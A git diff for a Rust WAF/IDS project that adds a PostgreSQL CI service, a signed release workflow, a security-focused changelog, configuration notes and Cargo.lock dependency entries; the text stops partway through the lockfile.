diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index df09275..2b64f2e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -11,6 +11,22 @@ permissions: jobs: rust: runs-on: ubuntu-latest + services: + postgres: + image: postgres:16-alpine + env: + POSTGRES_USER: wardnet + POSTGRES_PASSWORD: wardnet + POSTGRES_DB: wardnet + ports: + - 5432:5432 + options: >- + --health-cmd "pg_isready -U wardnet -d wardnet" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + env: + CONTROL_PLANE_TEST_DATABASE_URL: postgres://wardnet:wardnet@localhost:5432/wardnet steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..6e903d7 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,136 @@ +name: Release + +on: + push: + tags: + - "v*.*.*" + +permissions: + contents: read + +jobs: + release: + permissions: + contents: write + packages: write + id-token: write + attestations: write + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + fetch-depth: 0 + - name: Admit annotated vX.Y.Z tag only + run: scripts/admit-release-tag.sh "$GITHUB_REF_NAME" + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable + - uses: sigstore/cosign-installer@d7543c93d881b35a8faa02e8e3605f69b7a1ce62 # v3.10.0 + - uses: anchore/sbom-action/download-syft@a930d0ac434e3182448fe678398ba5713717112a # v0.21.0 + - name: Build release binary + run: cargo build --locked --release + - name: Stage binary and binary SBOM + run: | + mkdir -p dist + cp target/release/waf-ids-ai-soc dist/waf-ids-ai-soc-linux-x86_64 + scripts/release-sbom.sh --output dist/sbom.spdx.json dist/waf-ids-ai-soc-linux-x86_64 + - name: Publish GHCR image by digest + id: image + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + echo "$GH_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin + image="ghcr.io/contextualwisdomlab/waf-ids-ai-soc" + tag="${GITHUB_REF_NAME}" + docker build -t "${image}:${tag}" . + push_out="$(docker push "${image}:${tag}")" + digest="$(printf '%s\n' "$push_out" | awk '{for (i=1;i<=NF;i++) if ($i ~ /^sha256:/) d=$i} END{print d}')" + test -n "$digest" + ref="${image}@${digest}" + printf '%s\n' "$ref" > dist/IMAGE-DIGEST.txt + scripts/release-sbom.sh --output dist/image.sbom.spdx.json "$ref" + { + echo "ref=${ref}" + echo "digest=${digest}" + echo "image=${image}" + } >> "$GITHUB_OUTPUT" + - name: Checksums and keyless blob signatures + run: | + set -euo pipefail + (cd dist && ../scripts/release-checksums.sh \ + waf-ids-ai-soc-linux-x86_64 \ + sbom.spdx.json \ + image.sbom.spdx.json \ + IMAGE-DIGEST.txt > SHA256SUMS) + cat dist/SHA256SUMS + cosign sign-blob --yes \ + --bundle dist/waf-ids-ai-soc-linux-x86_64.sigstore.json \ + dist/waf-ids-ai-soc-linux-x86_64 + cosign sign-blob --yes \ + --bundle dist/SHA256SUMS.sigstore.json \ + dist/SHA256SUMS + cosign sign-blob --yes \ + --bundle dist/sbom.spdx.json.sigstore.json \ + dist/sbom.spdx.json + cosign sign-blob --yes \ + --bundle dist/image.sbom.spdx.json.sigstore.json \ + dist/image.sbom.spdx.json + cosign sign-blob --yes \ + --bundle dist/IMAGE-DIGEST.txt.sigstore.json \ + dist/IMAGE-DIGEST.txt + - name: Sign image and attest image SBOM (keyless) + run: | + set -euo pipefail + ref="${{ steps.image.outputs.ref }}" + cosign sign --yes "$ref" + cosign attest --yes --predicate dist/image.sbom.spdx.json --type spdxjson "$ref" + - name: SLSA provenance for binary + uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3.0.0 + with: + subject-path: dist/waf-ids-ai-soc-linux-x86_64 + - name: SLSA provenance for image + uses: actions/attest-build-provenance@977bb373ede98d70efdf65b84cb5f73e068dcc2a # v3.0.0 + with: + subject-name: ghcr.io/contextualwisdomlab/waf-ids-ai-soc + subject-digest: ${{ steps.image.outputs.digest }} + push-to-registry: true + - name: Attest binary SBOM + uses: actions/attest-sbom@115c3be05ff3974bcbd596578934b3f9ce39bf68 # v2.2.0 + with: + subject-path: dist/waf-ids-ai-soc-linux-x86_64 + sbom-path: dist/sbom.spdx.json + - name: Attest image SBOM + uses: actions/attest-sbom@115c3be05ff3974bcbd596578934b3f9ce39bf68 # v2.2.0 + with: + subject-name: ghcr.io/contextualwisdomlab/waf-ids-ai-soc + subject-digest: ${{ steps.image.outputs.digest }} + sbom-path: dist/image.sbom.spdx.json + push-to-registry: true + - name: GitHub Release + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + notes="$(mktemp)" + { + echo "Promotion authority is the image digest and Sigstore signatures, not the tag." + echo + echo "Image: \`${{ steps.image.outputs.ref }}\`" + echo "Tag alias: \`ghcr.io/contextualwisdomlab/waf-ids-ai-soc:${GITHUB_REF_NAME}\`" + echo + echo "Verify: \`docs/runbooks/release.md\`" + } > "$notes" + gh release create "$GITHUB_REF_NAME" \ + dist/waf-ids-ai-soc-linux-x86_64 \ + dist/SHA256SUMS \ + dist/sbom.spdx.json \ + dist/image.sbom.spdx.json \ + dist/IMAGE-DIGEST.txt \ + dist/waf-ids-ai-soc-linux-x86_64.sigstore.json \ + dist/SHA256SUMS.sigstore.json \ + dist/sbom.spdx.json.sigstore.json \ + dist/image.sbom.spdx.json.sigstore.json \ + dist/IMAGE-DIGEST.txt.sigstore.json \ + --notes-file "$notes" \ + --verify-tag diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..b0f2524 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,25 @@ +# Changelog + +All notable changes to this project are documented in this file. + +The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## Unreleased + +### Security + +- Release admission refuses lightweight/unsigned `vX.Y.Z` tags (`scripts/admit-release-tag.sh`). Kubernetes pin is the GHCR content digest (`scripts/pin-k8s-digest.sh`); tag aliases are rejected. +- Tagged releases (`vX.Y.Z`) build a locked binary, basename SHA-256 checksums, SPDX SBOMs (binary and image), keyless Sigstore signatures (OIDC, no stored Cosign key), GitHub SLSA provenance, and a GHCR image signed **by digest**. The GitHub Release is created only after signatures succeed. Promotion authority is the digest in `IMAGE-DIGEST.txt`, not the tag alias. No moving `latest` tag (`docs/runbooks/release.md`). +- PostgreSQL outbox consumers for TAXII poll, Clearfolio document submit, and contextual-orchestrator SOC analysis (issue #81 remainder). Operator-triggered HTTP leaves through `taxii.collection_polled`, `clearfolio.document_submitted`, and `soc.analysis_requested` with leased-worker retries and unique receipts. Request path returns HTTP 202 and `GET /api/outbox/{message_id}` exposes receipt evidence. Secrets never enter outbox payloads (TAXII bearer lives in the credential registry). File/memory adapters keep the previous synchronous path. Client IPs, paths, indicator values, and actor names stay unmasked. LLM analysis remains advisory and never auto-enforces. + + +- PostgreSQL `security_event` is HASH-partitioned by `tenant_id` (8 children). Unpartitioned tables convert in place and keep unmasked client IPs and paths. `/healthz.event_partitions` reports the child count (0 on file/memory). Logical restore still accepts schema 2 through the current migration version; HASH does not change the snapshot shape. +- PostgreSQL snapshot persist is optimistic-concurrency: `tenant_account.snapshot_version` must match the loaded token or the write returns a snapshot conflict (HTTP 409). Restores overwrite. File/memory adapters stay single-writer. +- PostgreSQL control-plane runtime is `wardnet_runtime` (NOSUPERUSER, NOBYPASSRLS, not the table owner). Migrations run as the login role, then `SET ROLE` so FORCE RLS binds even when the URL user is a superuser. Missing `wardnet.tenant_id` yields no rows. DDL (`DROP TABLE`, `DISABLE ROW LEVEL SECURITY`) is denied. Logical restore accepts schema 2 through the current migration version so a role-only upgrade cannot void the last pre-upgrade backup. +- PostgreSQL control-plane logical backup and isolated restore drill (issue #80 remainder). `GET /api/backup` exports a hashed tenant snapshot (policy, events, outbox, receipts). `POST /api/backup` restores after schema and payload-hash checks. `POST /api/backup/drill` restores into an isolated tenant, compares unmasked invariants, and drops the drill tenant. Declared RPO is the last successful export; declared RTO is 60 seconds. File/memory adapters report `/healthz.backup=disabled`. Client IPs, paths, and actor names stay unmasked. +- PostgreSQL control-plane mutations enqueue a transactional outbox row in the same transaction (issue #81). Security events append incrementally instead of rewriting the snapshot. A leased worker claims with `FOR UPDATE SKIP LOCKED`, retries with bounded backoff, dead-letters exhausted/permanent failures, and records unique receipts. Stdout SIEM export is at-least-once; the receipt is the exactly-once ack. `/healthz.outbox` and `GET /api/outbox` are operator-visible; `POST /api/outbox/{id}/replay` requeues dead letters with audit. File/memory adapters report `outbox=disabled`. `GET /api/outbox` is bounded to `EVENT_LIMIT` (dead letters and pending first). Processed `outbox_message` rows are pruned to that same cap on append, snapshot save, and worker ack; receipts stay as the exactly-once ack. +- Control-plane PostgreSQL URLs honor `sslmode=require` / `verify-ca` / `verify-full` with rustls and Mozilla roots (certificates always verified). tokio-postgres 0.7 only parses `require`, so verification modes are rewritten to `require` before connect. `sslmode=allow` / `prefer` are rejected so the process cannot silently drop to plaintext. +- Production (non-loopback) binds fail closed without `CONTROL_PLANE_DATABASE_URL`. PostgreSQL is the production control-plane authority (3NF two-word tables, default-deny row-level security, snapshot persist in one transaction). Loopback still uses the JSON file / memory adapter. `/healthz.persistence` reports `postgres`, `file`, or `memory`. The URL is a secret and is bootstrapped into the credential registry. +- Live `/gateway` transactions consult in-process libcoraza when `CORAZA_LIB_PATH` is set (with `CORAZA_RULES_PATH` and/or `CORAZA_DIRECTIVES`). Missing library, missing rules, or an empty ruleset fail startup before bind. Otherwise a Coraza sidecar is consulted when `CORAZA_WAF_URL` is set. The sidecar response is parsed with the existing Coraza audit adapter (OWASP CRS authority, not a hand-rolled engine). Engine outage is fail-closed when `PROVEN_ENGINE_FAIL_CLOSED` is true. `GET /api/waf/engine-status` and `/healthz.proven_engine` report `coraza_in_process`, `coraza_sidecar`, or `ingest_hints_only`. +- Fail-closed destination policy on every outbound `http`/`https` call, including the Coraza sidecar URL (gateway upstream, threat-intel fetch, Clearfolio, SOC LLM). Private/loopback/metadata classes are denied unless `DESTINATION_ALLOWLIST` (or loopback development) permits them; `DESTINATION_DENYLIST` wins. Clients ignore ambient HTTP proxies and do not follow redirects. CIDR allowlist matches apply per resolved address; CIDR entries authorize non-default ports; IPv6 site-local (`fec0::/10`) is denied; invalid CIDR prefixes fail startup; `/healthz.destination_mode` reports the policy class. Blocking DNS runs on `spawn_blocking` with a 2s timeout. Persistence and destination-list validation complete before the readiness line is printed. After a host is allowed, the HTTP client connects only to those evaluated addresses (Host/SNI unchanged) so a rebinding answer cannot bypass the policy. diff --git a/CLAUDE.md b/CLAUDE.md index f6a0a67..f54f156 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -62,7 +62,7 @@ The core stays an in-repo workspace crate on purpose (no git submodule) until it ## Runtime Configuration -Read in `run_from_env` (`src/lib.rs`): `BIND_ADDR` (default `127.0.0.1:8080`), `ADMIN_TOKEN` (write token for `X-Admin-Token`), `ADMIN_TOKENS` (comma-separated `token:actor` pairs for multi-token RBAC with per-token audit actors), `WAF_IDS_STATE_PATH` (optional JSON state file; omitted = seeded in-memory state), `DNSBL_ORIGIN` (default `dnsbl.local`), `EVENT_LIMIT` (default 1000, must be > 0), `RATE_LIMIT` / `RATE_LIMIT_WINDOW`. +Read in `run_from_env` (`src/lib.rs`): `BIND_ADDR` (default `127.0.0.1:8080`), `ADMIN_TOKEN` (write token for `X-Admin-Token`), `ADMIN_TOKENS` (comma-separated `token:actor` pairs for multi-token RBAC with per-token audit actors), `WAF_IDS_STATE_PATH` (optional JSON state file; omitted = seeded in-memory state), `CONTROL_PLANE_DATABASE_URL` (required for non-loopback binds; secret `control_plane_url`), `DNSBL_ORIGIN` (default `dnsbl.local`), `EVENT_LIMIT` (default 1000, must be > 0), `RATE_LIMIT` / `RATE_LIMIT_WINDOW`, `CORAZA_LIB_PATH` / `CORAZA_RULES_PATH` / `CORAZA_DIRECTIVES` (optional in-process libcoraza), `CORAZA_WAF_URL` (optional in-path Coraza sidecar), `PROVEN_ENGINE_FAIL_CLOSED` (boolean; default false — set true in production when an engine is set). PostgreSQL mode starts a leased outbox worker (`GET /api/outbox`, `/healthz.outbox`). ## Key Conventions diff --git a/Cargo.lock b/Cargo.lock index c696190..0c204b4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,6 +2,17 @@ # It is not intended for manual editing. version = 4 +[[package]] +name = "async-trait" +version = "0.1.92" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82f6aeea286b8eb4dd3431a1be1b59d290ace00f5bfd8e2a159bc2a05e2c1667" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + [[package]] name = "atomic-waker" version = "1.1.2" @@ -72,6 +83,12 @@ version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + [[package]] name = "bit-set" version = "0.8.0" @@ -93,12 +110,36 @@ version = "2.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-buffer" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2f6c7dbe95a6ed67ad9f18e57daf93a2f034c524b99fd2b76d18fdfeb6660aa" +dependencies = [ + "hybrid-array", +] + [[package]] name = "bumpalo" version = "3.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + [[package]] name = "bytes" version = "1.12.1" @@ -134,10 +175,47 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81" dependencies = [ "cfg-if", - "cpufeatures", + "cpufeatures 0.3.0", "rand_core 0.10.1", ] +[[package]] +name = "cmov" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c9ea0ac24bc397ab3c98583a3c9ba74fa56b09a4449bbe172b9b1ddb016027a" + +[[package]] +name = "combine" +version = "4.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfc320937d09e6de266b31b9afb480f197d7a861be86be7cb2ea7e5d1bfffc5e" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "const-oid" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6ef517f0926dd24a1582492c791b6a4818a4d94e789a334894aa15b0d12f55c" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + [[package]] name = "cpufeatures" version = "0.3.0" @@ -147,6 +225,91 @@ dependencies = [ "libc", ] +[[package]] +name = "critical-section" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "790eea4361631c5e7d22598ecd5723ff611904e3344ce8720784c93e3d83d40b" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "crypto-common" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453" +dependencies = [ + "hybrid-array", +] + +[[package]] +name = "ctutils" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d5515a3834141de9eafb9717ad39eea8247b5674e6066c404e8c4b365d2a29e" +dependencies = [ + "cmov", +] + +[[package]] +name = "data-encoding" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4583a4551df46e2792f82ceeac45e850d2e2d5debba0b91f102385cda5b11f06" + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid 0.9.6", + "der_derive", + "flagset", + "zeroize", +] + +[[package]] +name = "der_derive" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8034092389675178f570469e6c3b0465d3d30b4505c294a6550db47f3c17ad18" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer 0.10.4", + "crypto-common 0.1.7", +] + +[[package]] +name = "digest" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2" +dependencies = [ + "block-buffer 0.12.1", + "const-oid 0.10.2", + "crypto-common 0.2.2", + "ctutils", +] + [[package]] name = "displaydoc" version = "0.2.7" @@ -168,6 +331,12 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "fallible-iterator" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4443176a9f2c162692bd3d352d745ef9413eec5782a80d8fd6f8a1ac692a07f7" + [[package]] name = "fastrand" version = "2.5.0" @@ -180,6 +349,12 @@ version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" +[[package]] +name = "flagset" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ac824320a75a52197e8f2d787f6a38b6718bb6897a35142d749af3c0e8f4fe" + [[package]] name = "fnv" version = "1.0.7" @@ -202,6 +377,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "262590f4fe6afeb0bc83be1daa64e52657fe185690a958af7f3ad0e92085c5ae" dependencies = [ "futures-core", + "futures-sink", ] [[package]] @@ -255,6 +431,16 @@ dependencies = [ "slab", ] +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + [[package]] name = "getrandom" version = "0.2.17" @@ -264,7 +450,7 @@ dependencies = [ "cfg-if", "js-sys", "libc", - "wasi", + "wasi 0.11.1+wasi-snapshot-preview1", "wasm-bindgen", ] @@ -294,6 +480,34 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "hickory-proto" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bab31817bfb44672a252e97fe81cd0c18d1b2cf892108922f6818820df8c643" +dependencies = [ + "data-encoding", + "idna", + "ipnet", + "jni", + "once_cell", + "rand 0.10.2", + "ring", + "thiserror", + "tinyvec", + "tracing", + "url", +] + +[[package]] +name = "hmac" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6303bc9732ae41b04cb554b844a762b4115a61bfaa81e3e83050991eeb56863f" +dependencies = [ + "digest 0.11.3", +] + [[package]] name = "http" version = "1.5.0" @@ -339,6 +553,15 @@ version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" +[[package]] +name = "hybrid-array" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "707114b52a152fa7bdb290cd7cd5912d9467273b6d74e21b8d81aca1f8533f6b" +dependencies = [ + "typenum", +] + [[package]] name = "hyper" version = "1.11.0" @@ -514,6 +737,55 @@ version = "1.0.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" +[[package]] +name = "jni" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5efd9a482cf3a427f00d6b35f14332adc7902ce91efb778580e180ff90fa3498" +dependencies = [ + "cfg-if", + "combine", + "jni-macros", + "jni-sys", + "log", + "simd_cesu8", + "thiserror", + "walkdir", + "windows-link", +] + +[[package]] +name = "jni-macros" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a00109accc170f0bdb141fed3e393c565b6f5e072365c3bd58f5b062591560a3" +dependencies = [ + "proc-macro2", + "quote", + "rustc_version", + "simd_cesu8", + "syn 2.0.119", +] + +[[package]] +name = "jni-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6377a88cb3910bee9b0fa88d4f42e1d2da8e79915598f65fb0c7ee14c878af2" +dependencies = [ + "jni-sys-macros", +] + +[[package]] +name = "jni-sys-macros" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38c0b942f458fe50cdac086d2f946512305e5631e720728f2a61aabcd47a6264" +dependencies = [ + "quote", + "syn 2.0.119", +] + [[package]] name = "js-sys" version = "0.3.103" @@ -531,6 +803,25 @@ version = "0.2.189" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link", +] + +[[package]] +name = "libredox" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d0a00925a9f930d679b6789b721e3a7f9ed110f41b86d2497caa780c3a070a" +dependencies = [ + "libc", +] + [[package]] name = "linux-raw-sys" version = "0.12.1" @@ -543,6 +834,15 @@ version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + [[package]] name = "log" version = "0.4.33" @@ -561,6 +861,16 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" +[[package]] +name = "md-5" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69b6441f590336821bb897fb28fc622898ccceb1d6cea3fde5ea86b090c4de98" +dependencies = [ + "cfg-if", + "digest 0.11.3", +] + [[package]] name = "memchr" version = "2.8.3" @@ -590,7 +900,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427" dependencies = [ "libc", - "wasi", + "wasi 0.11.1+wasi-snapshot-preview1", "windows-sys 0.61.2", ] @@ -603,11 +913,56 @@ dependencies = [ "autocfg", ] +[[package]] +name = "objc2-core-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536" +dependencies = [ + "bitflags", +] + +[[package]] +name = "objc2-system-configuration" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7216bd11cbda54ccabcab84d523dc93b858ec75ecfb3a7d89513fa22464da396" +dependencies = [ + "objc2-core-foundation", +] + [[package]] name = "once_cell" version = "1.21.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" +dependencies = [ + "critical-section", + "portable-atomic", +] + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] [[package]] name = "percent-encoding" @@ -615,12 +970,66 @@ version = "2.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" +[[package]] +name = "phf" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf" +dependencies = [ + "phf_shared", + "serde", +] + +[[package]] +name = "phf_shared" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e57fef6bc5981e38c2ce2d63bfa546861309f875b8a75f092d1d54ae2d64f266" +dependencies = [ + "siphasher", +] + [[package]] name = "pin-project-lite" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "postgres-protocol" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08808e3c483c46e999108051c78334f473d5adb59d78bb80a1268c7e6aa6c514" +dependencies = [ + "base64", + "byteorder", + "bytes", + "fallible-iterator", + "hmac", + "md-5", + "memchr", + "rand 0.10.2", + "sha2 0.11.0", + "stringprep", +] + +[[package]] +name = "postgres-types" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "851ca9db4932932d69f3ea811b1abe63087a0f740a47692619dd40d4899b68be" +dependencies = [ + "bytes", + "fallible-iterator", + "postgres-protocol", +] + [[package]] name = "potential_utf" version = "0.1.5" @@ -814,6 +1223,15 @@ dependencies = [ "rand_core 0.9.5", ] +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + [[package]] name = "regex-syntax" version = "0.8.11" @@ -882,6 +1300,15 @@ version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + [[package]] name = "rustix" version = "1.1.4" @@ -954,6 +1381,27 @@ version = "1.0.23" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + [[package]] name = "serde" version = "1.0.229" @@ -1020,6 +1468,28 @@ dependencies = [ "serde", ] +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest 0.10.7", +] + +[[package]] +name = "sha2" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" 